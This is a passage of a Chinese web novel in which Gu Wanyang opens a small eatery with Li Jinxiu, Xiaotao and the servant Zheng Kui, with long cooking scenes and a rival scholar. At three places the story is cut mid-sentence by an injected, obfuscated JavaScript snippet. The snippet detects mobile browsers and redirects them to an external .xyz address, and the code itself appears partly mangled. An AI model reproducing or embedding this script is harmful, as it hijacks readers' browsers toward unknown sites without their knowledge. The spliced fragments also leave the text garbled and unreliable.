我的天哪，顾宛央第一反应便是这人把杂货铺的东西都买来了吧，米、面、油、肉、布匹甚至棉被，几乎都是平日里不可或缺需用真金白银来买的东西。 “你这是做什么？”顾宛央忍不住问道。 “这些都是送给桂花婶、张婶还有水生叔家的，用来感谢他们的。”李瑾修说道。 顾宛央不由地看向李瑾修，只见他一脸认真，心中有些柔软，这小子还算是有心，这些东西很实用，于是放缓了语气说道：“行吧，那走吧。” 顾宛央小心翼翼地上了马车，在一堆东西中找个了空隙坐下，李瑾修则是坐在了车把式的旁边，两人驮着一马车的物品晃晃悠悠地往城西村走去。 果然是豪华马车舒服啊，虽然有些挤，但因为车身大又铺了很厚的褥子，所以一点都不觉得颠簸，以至于顾宛央觉得没过多久就到了。 小桃每日在家盼星星盼月亮，今天终于把顾宛央给盼回来了，她冲上来一把抱住顾宛央说道：“宛央姐，我想死你了，你总算是忙好了。” 顾宛央被小桃勒的有些喘不上气来，她赶紧掰开小桃的手，说道：“小桃，小桃，冷静一下，桂花婶他们都在家吗？” “在家在家，最近地里的活不多了，所以下地干活比较晚一些，今天正好还没下地呢。”小桃忙放开顾宛央，对着屋里喊道：“娘，宛央姐回来啦。” 桂花婶在里面听到外头的声音，赶紧跑了出来，见是顾宛央，一边在围裙上擦手，一边迎了上去：“宛央啊，你可算是回来了，快进来。” “桂花婶好啊。”李瑾修在顾宛央身后闪出身来打招呼。 “诶，瑾修你也来了，哎呀，不错啊，身体完全恢复了。”桂花婶上下打量了李瑾修一番，欣慰地说道。 “那可不嘛，多亏了宛央的照顾。”李瑾修笑嘻嘻地说道。 张婶也在屋里听见了声音，她把手上的活撂下就跑了出来，拉着宛央的手往屋里拉：“宛央，在外面还好吧，辛苦吗？” “不辛苦，张婶，你看我还胖了些呢。”顾宛央笑着说道，出来快两个月了，每日里也不操什么心，就想着怎么赚钱，在文庙吃的又好，偶尔还能蹭李瑾修的大餐，比以前的日子好过多了。 “我看看，嗯，确实气色好多了，以前小脸尖尖的，现在也圆润了，这样好看好看。”张婶没有女儿，她把顾宛央当女儿看待的，见她过得好就放心了。 李瑾修指挥着几个半大孩子把马车上的东西卸下来，整整堆了小半屋子。 “这是？”九婆婆看着满屋子的东西问道。 “这是瑾修给你们送来的东西，是感谢你们救了他的。”顾宛央说道。 “哎呀，这么多东西，上次水生不是带了银子回来嘛，这次这么还送这么多东西过来啊。”桂花婶说道。 “上次让水生叔带回来的银子不多，这次专程来答谢大家的，车里还有一份，我等会就给水生叔家里送去。”李瑾修说道。 “这怎么好意思呢，这怎么好意思呢。”九婆婆反复唠叨着。 “大家就不要跟我客气了，要没有你们，我也不会活生生地站在你们面前，再多的东西都表达不了我的谢意。”李瑾修说道。 “是啊，桂花婶、张婶，你们把东西收起来吧，别堆在堂屋了，收进房间去。”顾宛央在旁边帮着说道，这些东西都是大家必需的物品，这李瑾修想的还怪周到的。 “咦，宛央，那你的那份呢？”九婆婆看着被分成两堆的物品问道。 “啊？”顾宛央没料到九婆婆会问这个问题，不由看向李瑾修。 李 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14973722|158165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瑾修嘿嘿一笑，说道：“九婆婆，放心吧，宛央的那份不会少的。” 顾宛央倒是没想过还要李瑾修送东西答谢，这段时间她在李瑾修身上也挣了不少银子，否则这个小食肆一时半会指定是开不起来的。 “那就好，那就好。”九婆婆念叨了几声，开始帮着桂花婶搬东西进屋子。 李瑾修把桂花婶和张婶家的东西卸完，立马就去了水生叔家送东西去了。 “桂花婶，正好你和九婆婆都在，我想跟你们商量个事情。”顾宛央帮着把东西都给搬进屋后，拉着桂花婶坐下来说道。 “你的小食肆铺子弄好了？”桂花婶不等顾宛央开口，就问道。 顾宛央看了看蹲在一旁的小桃，小桃冲她一笑，又猛点了几下头，顾宛央心中有数了，这丫头明显就是把桂花婶说服了。 “嗯，我打算选个吉日就要开张了，所以今天把日常用的东西搬过去一些，往后可能会待在城里的时间比较多些。”顾宛央心里有了底，便开口说道。 “那是好事啊，靠着手艺开铺子挣钱，实在是比在地里面朝黄土背朝天地干活强，宛央，你是个能干的。”桂花婶说道。 “那小桃......” 还没等顾宛央说完，桂花婶就嫌弃地说道：“小桃就拜托给你了，这几天这丫头天天在我耳旁念叨想要跟着你一起挣钱，把我耳朵都磨出茧子来了，你赶紧把她带走吧，去挣点钱也好，攒点嫁妆钱去。” 顾宛央看着桂花婶嫌弃的表情，但眼神里却是有着不舍，桂花婶就是嘴硬心软的人，明明就是舍不得，但还要装作嫌小桃麻烦希望她赶紧走的样子。 “宛央姐，我这就去收拾东西，这次是不是要多收拾点东西啊，毕竟开铺子是长久的事情，一时半会应该回不来了吧。”小桃却是没心没肺地开心着。 顾宛央偷看桂花婶的表情，听到一时半会回不来这句话的时候，桂花婶眼眶都有些泛红。 “你这丫头，什么回不来回不来的，家里离得这么近，走一会就回来了的，瞎说啥呢。”九婆婆打断小桃的话。 “是啊，小桃，以后你可以每个月回来一次，看看桂花婶和九婆婆。”顾宛央能理解长辈的心情，孩子总是希望飞的越远越好，但家中的长辈却是希望孩子能常回家看看。 “真的吗，宛央姐，那太好了。”小桃转头对桂花婶说道：“娘，你瞧，我每个月都能回来呢。” “嗯，好，好。”桂花婶听到这话，心中总算有了些盼头，脸上的笑容也多起来。 当小桃背着包袱跟顾宛央走的时候，桂花婶拉着顾宛央的手，千叮咛万嘱咐：“宛央，这丫头要是不听话，你就替我揍她，别让她在外面闯祸，别太惯着她了，全靠你了。” 顾宛央听着桂花婶的唠叨，不停地点头让她放心。 桂花婶看着大马车缓缓离开消失在自己的视线中，心中仿佛缺了一块空落落的。 49. 第 49 章 三月二十八，是个吉日，宜开张。 这个日子据说是李瑾修喊高手算出来的，说是大吉之日，顾宛央虽说不在意这些说法，但毕竟李瑾修也算是个小股东，这种无关紧要的事情让他做主便好。 顾宛央手书的“随心小食肆”几个大字被制成牌匾绑了大红绸带，挂在了食肆的正门上方。 午时初刻，也是个吉时，一阵响亮的鞭炮声在小食肆门前响起，顾宛央的小饭馆正式开张了。 早餐摊的老食客们只要有空的都过来了，因为今天食肆开张，所以顾宛央没有出早餐摊，这些老食客每天都习惯了吃顾宛央做的早餐，今天没吃到便全指望着她开张，来这里吃午餐了。 食肆还没开张便有不少人在门口等候了，等到大门一开，大家争先恐后地抢占位置，食肆内只有八张桌椅，不出几秒就全部坐满，没抢到位置的只能在门外等候。 顾宛央很细心地在食肆门外摆了一排小板凳，李瑾修一开始还不解其意，现在恍然大悟，原来是给排队的食客坐的。 第一天开张，李瑾修被安排了最轻松的算账收钱活计，他满脸新奇地接受了顾宛央的工作指派。顾宛央负责炒菜，小桃则是负责点菜跑堂。 店小人手也少，顾宛央没有像别的食肆那样做菜单，而是直接在店里最显眼的位置框出一块地方，把菜名贴在木牌子上并且编了序号挂起来，食客一进店便一目了然，直接点菜或者报序号即可，这样一来就算不识字的小桃，只要能记住序号就能轻松点菜，不过开张前这几日，李瑾修已经抓着小桃恶补过这些菜名了，小桃年轻记忆力好，很快就认识了这些字。 考虑到备菜和出菜的速度，顾宛央只准备了几道快手菜，其中两道是大厨推荐菜，有荤有素搭配着，隔几日换换菜或者换换类型，反正她是看出来了，这些食客们就爱新奇的吃食，若是老是那几样菜没有变化，估计他们会唠叨个不停，小城的客流太少，若是能维护好老食客那就不怕客流少了，所幸她会做的美食很多，炒菜若是吃腻了，还可以推出冒菜、甚至火锅，亦或是炙烤、炸串，所以她把食肆的名字取为“随心”二字。 在小桃忙着点菜和顾宛央忙着炒菜的时候，还没轮到李瑾修算账收钱，他想着帮小桃跑跑腿传传菜，但被小桃轰了出来，她说我自己一个人点菜传菜清清楚楚的，你来搅合了反倒乱了。 看着热闹的大堂和忙碌的顾宛央小桃，李瑾修竟然有一种无所事事的感觉，他溜达着到了门口，想看看排长队的人有多少。 刚一走出门，耳边就听得郑奎一声低喊：“少主。” 李瑾修吓一跳，回头看郑奎正毕恭毕敬地躬身给自己行礼呢，他赶忙拉着郑奎走到一边说道：“你怎么来了。” “我也没办法啊，主母说让我来帮你，别累着了你。”郑奎无奈地说道，原本他只是暗中保护少主即可，谁让少主兴起跟人开食肆呢，主母从小就是宠少主的，任他在外头随意玩耍。 李瑾修叹了口气，他在这里的一切肯定是瞒不过母亲的，原本在文庙只需吃吃喝喝养身体倒也罢了，现在得知他跟人一起开了个食肆，而且还是个小食肆，人手又少，那肯定是要干活的，所以就派了郑奎来。 “你先别进来，在外面维持一下排队的秩序，等我跟宛央说了，你再现身。”李瑾修头痛地说道，不知道多一个人宛央会不会介意，得好好想想说辞。 “是，少主。”郑奎说完，便尽心尽职地维护起了排队的秩序。 只不过来排队的人都是顾宛央的老食客，大家也都认识，根本不会有秩序的问题，这都在早餐摊子锻炼过的，来的晚的人自然就排在了后面，郑奎看了半天也没发挥什么作用。 在厨房忙得晕头转向的顾宛央可不知道即将会多一个壮劳力，今天第一天开张，即便是像顾宛央这么有经验的大厨，即便是一大早起来就做好准备，她还是觉得有些忙乱。 一来人手太少，二来新开张流程还不熟悉，不过顾宛央相信过几日便能缓过劲来，一切都能上正轨。 顾宛央今天推荐菜是火爆肥肠和酸菜鱼，食客们也大都是点这两道菜，因是作为推荐菜，所以顾宛央这两道菜的备货多，肥肠是一大早起来清洗好焯好水切成段，鱼也是小桃一手处理去刺切片并且腌制好的。 从第一位客人点菜开始，顾宛央就一直忙着烧这两道菜，点的人多有个好处，就是一锅可以炒个几盘。 顾宛央把灶火烧的极旺，火爆肥肠讲究一个大火爆炒，起锅把油烧热，姜蒜末和干辣椒下锅爆香，再将洋葱丁倒进去爆炒增加香味，翻炒几下过后，便可以将处理过的肥肠放进去一起煸炒。 大火将锅中的食材激发出诱人的香味，这香味直接飘散到了大堂，坐着等候上菜的食客个个都伸长了脖子，看着厨房的出口处，而在食肆门口排队的人更是坐立难安，期盼着快点轮到自己。 顾宛央的速度算是够快的了，锅中的肥肠跟洋葱一起快速搅合在一起，加入盐和一点点酱油，直至炒到肥肠油光浸润呈略带浅酱色，便可盛出装盘了。 酸菜鱼中用的酸菜和泡椒是顾宛央自己做的，酸菜鱼好不好吃关键看酸菜，顾宛央将酸菜事先已经不放油煸炒过，水分已经炒干，酸菜中的异味已经散发干净，只剩香味。 肥肠刚刚出锅，为了不串味，顾宛央便换了一个大铁锅开始做酸菜鱼，油锅烧热后，先将蒜末干辣椒和泡椒爆香，再倒入炒干水分的酸菜煸炒，等到香味煸出来后加入清水，水开后便将事先腌制好的鱼片一片一片下入锅中，鱼片不用煮太久，等水再次烧开，就可以加入盐后盛出了，再撒上一把葱花，水灵灵的就可以上桌了。 两道菜由于事先都做好了准备，真正做起来的时候就非常快，食客们没过多久便吃上了，这些老食客们能想象的到顾宛央做的菜肯定好吃，但他们没想到她炒的菜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14978363|158165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 居然这么好吃，把这县城里的食肆酒楼都比了下去。 由于顾宛央炒菜速度很快，翻台自然就快了，门外等候的人也慢慢有了位置，小食肆里的客人走了一波又一波，直到未时中刻，最后一位客人心满意足地离开，午餐才结束。 在第一位客人吃完的时候，李瑾修开始了他的活计，他账结的又快又准，对他来说倒是没什么难度。 等到客人全部离开，顾宛央从后厨出来，找到一把椅子就坐了下去，第一天开张居然人这么多，她精神高度紧绷，一放松下来才发现腿有些软。 “今天有客人对菜品不满意的吗？”顾宛央坐着边休息边问道。 小桃还不能休息，她正在收拾桌子上的碗筷，但她精神上没压力，只是体力活倒也没觉得累，她开口答道：“没有呢，个个都满意。” “对，我看他们吃的心满意足的，都在说还要来呢。”李瑾修心中有事，一边看门外一边说道。 “嗯？瑾修，你有什么事情吗？”顾宛央敏锐地察觉李瑾修有心事，她出来休息这点时间，李瑾修往门外都看了好几次了。 李瑾修本来觉得不太好开口，但顾宛央直接问了出来，他索性也就说了：“宛央，你介不介意多一个壮劳力？” “啊？什么？”顾宛央听李瑾修突然说这话，有些懵。 “对，就是一个壮劳力，你看今天忙成这样，如果多一个可以帮忙跑堂、收拾碗筷，小桃也能轻松一点。”李瑾修终于找到理由，他点头肯定地说道。 “不需要，不需要，我一个人可以干！”小桃立马冲出来反对。 不过顾宛央倒是考虑了起来，若是能多一个也不是不可以，小桃可以解放出来在厨房帮忙，也能更好地让她学习厨艺，只不过李瑾修怎么操心起店里伙计的事情，她看向李瑾修，等着他接着往下说。 “是这样的，我家里过来了一个人，说是不放心我一个人在外头，所以他派过来帮忙。”李瑾修无视小桃的抗议，他觉得顾宛央没有反对，那就是有希望的。 原来是这样，大户人家的少爷出来体验生活，估计是家里不放心了，不过是他家里人更好，知根知底的不用操心。 顾宛央点点头说道：“确实如果再有一人帮忙那就更好，只是我们还在开店初期，没赚到什么钱，工钱可能给不了那么多。” “不要工钱，管饭和住就行。”李瑾修见顾宛央答应下来，立即说道。 “那来的人是男是女？”顾宛央问道。 “自然是男的。”李瑾修答道。 “这好办，男的跟你一起住就行了，你俩一张床挤一挤就是。”顾宛央点点头随口说道。 “不行。” “不可。” 李瑾修和郑奎的声音同时响起，只不过一个在大堂里，一个在门外。 顾宛央听着门外耳熟的声音，不由地看了过去，原来是他！ 50. 第 50 章 李瑾修见郑奎自己跳了出来，只得对他说道：“郑奎，进来，见过顾姑娘。” 郑奎正后悔自己突然开口呢，就被李瑾修给叫进去了，他只得走进去给顾宛央行礼：“顾姑娘。” “我见过你。”顾宛央站了起来，说道：“你来过我家找人，你是为首那位吧？” “正是，姑娘好记性。”郑奎答道。 “那次对不住啊，我以为你们是不怀好意的人。”顾宛央说道：“所以就......” 没等顾宛央说完，李瑾修赶紧打断：“哎呀，不怪你，谁让他们长得这么吓人，再说你也没对他们怎么样。” 顾宛央见李瑾修朝她使眼色，虽然不明所以但也没往下继续说什么。 “那时因心情焦急，态度不好，唐突了姑娘，实在是对不住。”郑奎拱手行礼。 “无妨。”顾宛央摆摆手，淡淡地说道。 “那个，郑奎住在哪里我们再商量一下？”李瑾修见顾宛央没继续提那次的事情，便把话题拉回到现实问题上来。 “对对，顾姑娘，我可以睡杂物间也无妨的，或者堂屋打地铺都可以，有个地方就行，我在哪都能睡着。”郑奎说道，怎么能跟少主睡一个屋子，还要挤一张床！ “瑾修说你不要工钱？管吃住就行？”顾宛央想了想，确认道。 “对对，少主说的没错。”郑奎赶忙应道，别说是不给工钱还管吃住，就算是让他交钱，他都得在这里住下来。 “你们先等一下。”顾宛央说道，转头把厨房里的小桃喊了出来：“小桃，你愿意跟我住一间房吗？” “当然愿意，我一开始就说想跟你一间房，你说有多的房间，把我赶去那个房间的呢。”小桃说道，她可想跟宛央姐住一间的呢。 顾宛央面露尴尬，心虚地解释道：“有多的房间干嘛挤一起。” “住一起多热闹，晚上还能一起聊聊天呢。”小桃不理解。 顾宛央是独生子女，从小就是一个人睡，已经习惯，但小桃从小就是跟弟弟睡一个房间的，所以她并不习惯一个人睡。 “那这样吧，你今天开始就搬到我房间住，你的房间正好给郑奎住。”顾宛央安排道，郑奎不用发工钱，那给他一个房间也行。 “啥？”小桃反应过来，她转头打量了郑奎一圈，嫌弃地说道：“这个大块头黑炭要住在我们这里？” 郑奎无辜地看了自己一眼，他这叫大块头？不就是长得高一些壮一些黑一些吗，哪里跟大块头和黑炭沾边了。 “小桃，不能无礼，这是瑾修家的人，你得叫郑奎哥。”顾宛央批评道。 “哦。”小桃对顾宛央的批评倒是很虚心接受，但她反应过来又问道：“宛央姐，他不会是也要在食肆干活的吧？” “对，明天开始点菜和跑堂的活交给郑奎，你跟我在厨房干活。”顾宛央说道。 “宛央姐，我一个人忙得过来。”小桃说道，然后又拉着顾宛央到一边压低声音说道：“你多雇一个人不得多花一份工钱啊？” “他不要工钱，只要管他吃住就行了。”顾宛央也压低了声音说道。 “真的啊？”小桃一听立马乐了，说道：“那可以可以，那就留他下来，不用白不用啊。” “嗯，我也是这么想的。”顾宛央握住了小桃的手，认同地说道。 李瑾修和郑奎一脸无语，你俩小声密谋倒是再小声一点啊，这么大的小声是生怕旁边人听不见嘛！ “咳咳，我同意把房间让出来给这个大块头，哦不，给郑奎哥。”小桃转过身来大度地对李瑾修和郑奎说道。 “那行，就这么定了，郑奎你帮着小桃把东西搬到我房间，你就住她房间吧。”顾宛央安排道。 “多谢顾姑娘。”郑奎说道，不管怎么说他算是成功留下来了，不然的话主母要派人来替换他了，他便不能日日陪在少主身边了。 “你，先跟我来刷碗，等晚餐的时候我再教你怎么点菜传菜。”小桃打算一刻都不让郑奎休息，直接安排他干起活来。 额......郑奎看了李瑾修一眼，李瑾修立马说道：“快去吧，要记得你是来这里干活的，顾姑娘和小桃安排你干啥，你就干啥去。” “是，少主。”郑奎等到李瑾修的命令，跟着小桃屁颠屁颠进了厨房。 顾宛央悠闲地坐了下来，还不错，看上去这个郑奎还是挺肯干活。 李瑾修见把郑奎安顿下来了，也松了口气，往顾宛央身边一坐，两条大长腿伸直伸了个懒腰，别看算账收钱看着活小，其实也还挺不轻松的，生怕算错收错了，这种体验还挺新奇。 “怎么？没敢告诉家里受伤差点没命了？”顾宛央在李瑾修耳边轻轻地说道。 李瑾修一惊，看向顾宛央，见她意味深长地看着自己，一种看穿了他的神情。 “你怎么知道的？”李瑾修四处看了一下，还好只有他们两个人坐着休息，郑奎在厨房里干活呢。 “一开始我还没反应过来，你怎么就截住了我的话头不让往下说呢，后来想了想，应该就是不想让我说出那个时候你受伤了在我家的事情吧。”顾宛央轻笑着说道，她随便想了想，应该就是这个原因了。 “哎，我是不敢让他们知道，知道了还得了？我立马就得被抓回去。”李瑾修也不隐瞒，毕竟要靠顾宛央别说出去这事。 “嗯，能理解，若是我的孩子在外面受伤到快死了，我肯定也不让他出门了。”顾宛央点点头说道。 额......李瑾修总感觉有些不对劲，但又说不出来哪里不对劲，算了，李瑾修甩甩脑袋，对顾宛央说道：“拜托你一件事呗。” “放心吧，我不会跟郑奎说的。”顾宛央一听就知道他啥意思。 “那就先谢过啦，还有，能不能跟小桃也说一声，让她别说漏嘴。”李瑾修担心地说道。 “没问题，小桃会听我的话。”顾宛央也答应下来。 郑奎虽然不会干活，但贵在肯学肯干而且领 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14983035|158165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 悟力极高，在小桃的指挥下，厨房被收拾得干干净净。 小桃甚是满意，带着他把自己的东西搬出来，让他住进自己那件房间去。 顾宛央感觉好像并没有休息多少时间，一转眼就要到晚餐的时间了。 最先进店的是文庙的学子们，顾宛央提前几日便去过文庙一趟，告知他们小食肆开张的日期，这些人中午是没时间来吃饭，但下午一下课就立马往小食肆狂奔而来。 一个个跑的气喘吁吁的，一进店就把桌子给占满了，顾宛央不由地笑了，她这小食肆真的是不愁客流，这满座率谁能比得上！ 顾宛央见大家这么捧场，不由地行礼感谢：“多谢各位学子捧场，今日开张，有什么招待不周的地方，还请多多包涵，若是对菜品有什么建议和意见，也欢迎提出来。” “好说好说，就是顾姑娘这菜单有点少啊。” “不过菜单挂在墙上倒是很方便。” “顾姑娘，你拿手菜不会只有这么一些吧？” 顾宛央见大家议论起菜单来，笑着答道：“大家放心，小店会隔段时间就换一批菜，若是天天都是一样的菜品，那岂不是腻味呢。” “有道理啊，还是顾姑娘想的周到。” “确实确实，顾姑娘哪能只会这几道菜呢。” “这样好，这样好。” 顾宛央眼神转了一圈，发现崔士忠并没有在其中，说好要来捧场的呢，不过这念头也就一闪而过，她马上让大家先点菜，她去准备炒菜。 李瑾修在一旁微笑着看顾宛央讲话，然而就是她这一丝极易让人忽略的念头使得他瞬间有些黯然，她是在等那个送食谱的学子来吗？ 见有食客进店，小桃立马就带着郑奎点菜，郑奎没干过这样的活，一开始手忙脚乱，不过好在小桃思路很清楚，教他教的也很清晰，所以点了一圈下来，郑奎也摸清楚了窍门，可以自己一个人独自点菜了。 “大堂没问题了？”顾宛央一边飞快地炒菜，一边问在帮她烧火的小桃。 “没问题，这大块头看着憨憨的，其实还是挺聪明机灵的，什么东西教一遍就上手了。”小桃说道。 不聪明机灵怎么能做得了李瑾修的贴身随从，富贵人家挑人从来都不会乱挑，能被选中必定是有过人之处，而且人品绝对是忠诚的。 “留下他，也是为了你能在厨房多学学厨艺，大堂的事情让他去做，你就在厨房帮我吧。”顾宛央说道。 “那可太好了，我要是啥时候能上手炒菜就好了。”小桃说道。 “你好好学，肯定会有那一天的。”顾宛央鼓励道，有目标自然是好事情，况且小桃是个好苗子，好好培养一下必将成为大厨。 “好了，喊郑奎来传菜。”顾宛央一边说话，一边就把火爆肥肠炒好了。 小桃大嗓门朝大堂喊了一声，郑奎立马跑了进来，端了菜就往外走，看这样子已经上手了。 大堂这边的菜刚端上，门外就又排上队了。 51. 第 51 章 开张第一天，顾宛央低估了客流量，菜备少了，等到酉时末就没有食材了，确实今天一直都在翻台，现在不得不提前打烊了，顾宛央看了一下后面起码还有好几桌的人没吃上饭。 作为补偿，顾宛央手写了一些五折券分发给没吃上饭的那些客人，请他们明日再来，可以凭券打五折。 本来没吃上饭肚子里有火在吵吵嚷嚷的客人，拿到打折券火气也消了下去，各自散了重新找地方吃饭。 “宛央，还是你想法多，一下就让这些人乖乖离开了。”李瑾修都差点喊在洗碗的郑奎出来镇场子了，就看到顾宛央三两下解决了问题。 “五折券啊！少收一半的钱呢。”顾宛央好心痛，但这也是没办法，大额度的优惠券才能快速解决问题。 “没事没事，今天这么多人来，赚的回来。”李瑾修哪里看不出来顾宛央脸上的心痛之色，赶紧打开收银的抽屉安慰。 顾宛央看过去，满满当当的铜板和碎银，让她瞬间心情好起来。 “顾姑娘。”食肆门外传来崔士忠的声音。 李瑾修回头一瞧，顿时后悔怎么没早点把大门关起来，一边心中这样想着，一边迈开大长腿走到门口动手关门：“不好意思啊，今天打烊了，明天请早。” “诶，诶，弟弟，是我是我，我找顾姑娘。”崔士忠没料到李瑾修直接关门，情急之下一只手撑住大门不让他关。 “谁是你弟弟！”李瑾修本来看见他就没好气，一听他叫自己弟弟更是怒气十足，一用力大门差点就被关起来。 “瑾修，松手。”顾宛央的声音在李瑾修身后响起。 李瑾修不自觉地手一松，蓦然又反应过来，自己为何这么听话！但虽然脑子在反抗，手却不由自主地放开来，崔士忠趁机一推，本来即将关上的大门被推了开来。 顾宛央将李瑾修拉到一边，瞪了他一眼，随后对崔士忠说道：“崔学子，不好意思啊，今天食材都用完了，所以我们打烊了。” “啊？”崔士忠有些气喘吁吁地说道：“抱歉啊宛央，今日下课后有些事情耽搁了，所以未能早些过来。” 顾宛央看他满头大汗，不由问道：“你是跑过来的？” “嗯，我怕时间太晚了，就跑得快了些，顾姑娘，能否给杯水喝。”崔士忠跑得口干舌燥。 “稍等，你先坐会歇一歇。”顾宛央说着，给崔士忠倒了一杯水。 “赶不过来就别赶了呗，跑什么。”李瑾修在一旁嘀咕，刚刚顾宛央瞪了他一眼有些让他受伤，但又不敢继续对崔士忠大声输出。 崔士忠的注意都在顾宛央这里，并未听清楚李瑾修说什么，他将手中的卷轴递给顾宛央道：“食肆开张，我写了一幅字送给顾姑娘。” “哦？是崔学子写的字？”顾宛央接了过来问道。 “正是。” “我在文庙的时候就听各位学子说过，崔学子的书法笔力雄健、遒劲酣畅，为众学子之首，就算是放在京都，那也是能排的上号的。”顾宛央对于这份贺礼还是有些意外的。 “是吗？我怎么没听说过京都书法圈中有崔士忠这号人物？”李瑾修皱着眉头说道。 “那都是诸位过奖之词。”崔士忠很谦虚。 顾宛央扯了李瑾修袖子一把，继续笑着对崔士忠说道：“我可以打开来看看吗？” “自然自然。” 顾宛央示意李瑾修帮忙，两人一起将卷轴缓缓打开来。 “这是啥字啊，宛央姐。”小桃在一旁好奇地问道。 “紫气东来。”顾宛央答道。 “咦？为什么不是招财进宝、财源滚滚、日进斗金这些词啊，这紫气东来是什么意思？”小桃脱口而出，小食肆是要赚钱的，为啥不写点招财的词呢。 “这......”崔士忠被小桃的话给问的一下子不知道怎么回答，总不能说那些词太俗气了吧。 “小桃，这紫气东来的意思是有吉祥好运的征兆，这有了好运气那钱财不就自然来了嘛。”顾宛央见崔士忠尴尬，替他解围，像崔士忠这种读书人自认是有气节风骨，视金钱如粪土，如今肯屈尊为食肆题字已是不易，那是绝对不会写招财进宝这类词的，唯有紫气东来这样的成语才不会让崔士忠觉得沾染了俗气。 “正是正是，宛央姑娘说的对。”崔士忠没想到顾宛央替他圆了话，看向顾宛央满眼都是欣赏之色，连称呼都不自觉地改了。 李瑾修翻了个白眼，“切”了一声，把崔士忠那点小心思尽收眼底。 顾宛央正想说话，就听得崔士忠肚子饿的发出一阵咕噜噜的声音，他尴尬地喝起水来。 “崔学子，我们正好也要吃饭，你要是不介意，可以跟我们一起吃。”顾宛央听到他肚子饿的声音，也不多说别的感谢的话了，还是先解决肚子问题吧。 李瑾修眼睛都瞪大了，凭什么留他下来一起吃晚饭，李瑾修刚想开口说不行，顾宛央又瞪了一眼过来，不仅瞪了一眼还对他说道：“我进去炒几个菜马上就出来，你陪着崔学子坐会。” 不等李瑾修反应过来，顾宛央转身又进了厨房，忙活了一整天她也饿了，赶紧去做几个快手菜吃饭。 厨房里虽然主要的食材都用完了，但还是剩了一些食材的，顾宛央查看了一番，就着剩下的食材开始做起来。 酸菜是有多的、还有猪肉、鸡蛋、两个煎过的鱼头，灶台上方还挂着陈大娘送的腊肉，顾宛央简单盘算了一下，打算炒个酸菜笋肉丝、炒腊肉、鱼头豆腐汤、辣椒炒鸡蛋，再炒个小青菜。 顾宛央让小桃把两个灶台的火都烧起来，她要左右开弓，两个锅子一起用。 今天的酸菜鱼用的是鱼身子，但顾宛央也没把鱼头浪费，菜单上安排了一道鱼头豆腐汤，由于没上大厨推荐菜单，所以两个煎过的鱼头便是今天剩下的食材，正好拿来自己吃。 因为鱼头是是煎过的，所以顾宛央只 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顾宛央这一嘴提到崔士忠，李瑾修立马像爆竹一样炸了起来：“别提那个书呆子了，我陪不了他一点，情愿在这里吃油烟。” “他怎么你了，火气这么大。”顾宛央也不再理会李瑾修，反正每次他看到崔士忠都嫌弃的要命，她现在肚子好饿，赶紧炒完菜可以吃饭了。 见顾宛央没继续赶自己出去，李瑾修也就不再闹腾，看她炒起菜来。 辣椒炒鸡蛋非常简单，将辣椒先倒入不放油的锅中干煸，等到辣椒水分炒干后盛出，倒入油烧热后，将打好的蛋液倒入锅中，煎至两面金黄再把辣椒倒进去一起翻炒，加盐调味后即可盛出来。 李瑾修虽然也不是第一次看顾宛央做菜，但还是被她的动作所吸引，刚才被崔士忠惹得不高兴的情绪顿时烟消云散，他必定是跟崔士忠八字不合的，还是跟在宛央身边心情舒畅。 “小桃，郑奎，来把菜端出去，瑾修，你去盛饭。”顾宛央把小青菜炒完盛出，赶紧吩咐众人一起端菜的端菜，盛饭的盛饭。 他们四人也忙活一天了，肚子早就饿了，再闻到这些菜的香味，于是飞速地准备好了坐下来吃饭。 崔士忠正闻着香味摸着肚子忍受煎熬的时候，见到饭菜迅速地摆上桌，出于礼教他还是站在一边，等着顾宛央他们落座。 “崔学子，别客气，就几个家常菜，坐下一起吃吧。”顾宛央边说边坐了下来。 崔学子拱手一边行礼一边说道：“打扰了。” 当他想坐到顾宛央的左边座位时，被李瑾修抢了先坐了下去，当他又想坐顾宛央右边座位时，小桃毫不客气地又抢了座。 崔士忠只得在郑奎的边上坐了下来，郑奎自然知道自家少主不待见这个人，冷着脸转向一边并没搭理他。 大家都落了座，谁也都不顾上说话，因为桌上的饭菜把人快香迷糊了，大家快速地吃起饭来。 52. 第 52 章 鱼头豆腐汤温润鲜美，崔士忠连着喝了好几碗汤，原本的口干舌燥也变的口舌生津，他印象中顾宛央在文庙公厨并未做过羹汤，没想到汤也是这么的好喝。 几碗汤灌下去，崔士忠轻舒一口气，开始吃饭，酸菜笋肉丝最是下饭的菜，脆嫩的酸菜和笋丝再加上肉丝，还没吃到嘴里就想要流口水，加上顾宛央自己腌制的酸菜，酸咸口感正好，没有齁咸齁咸。 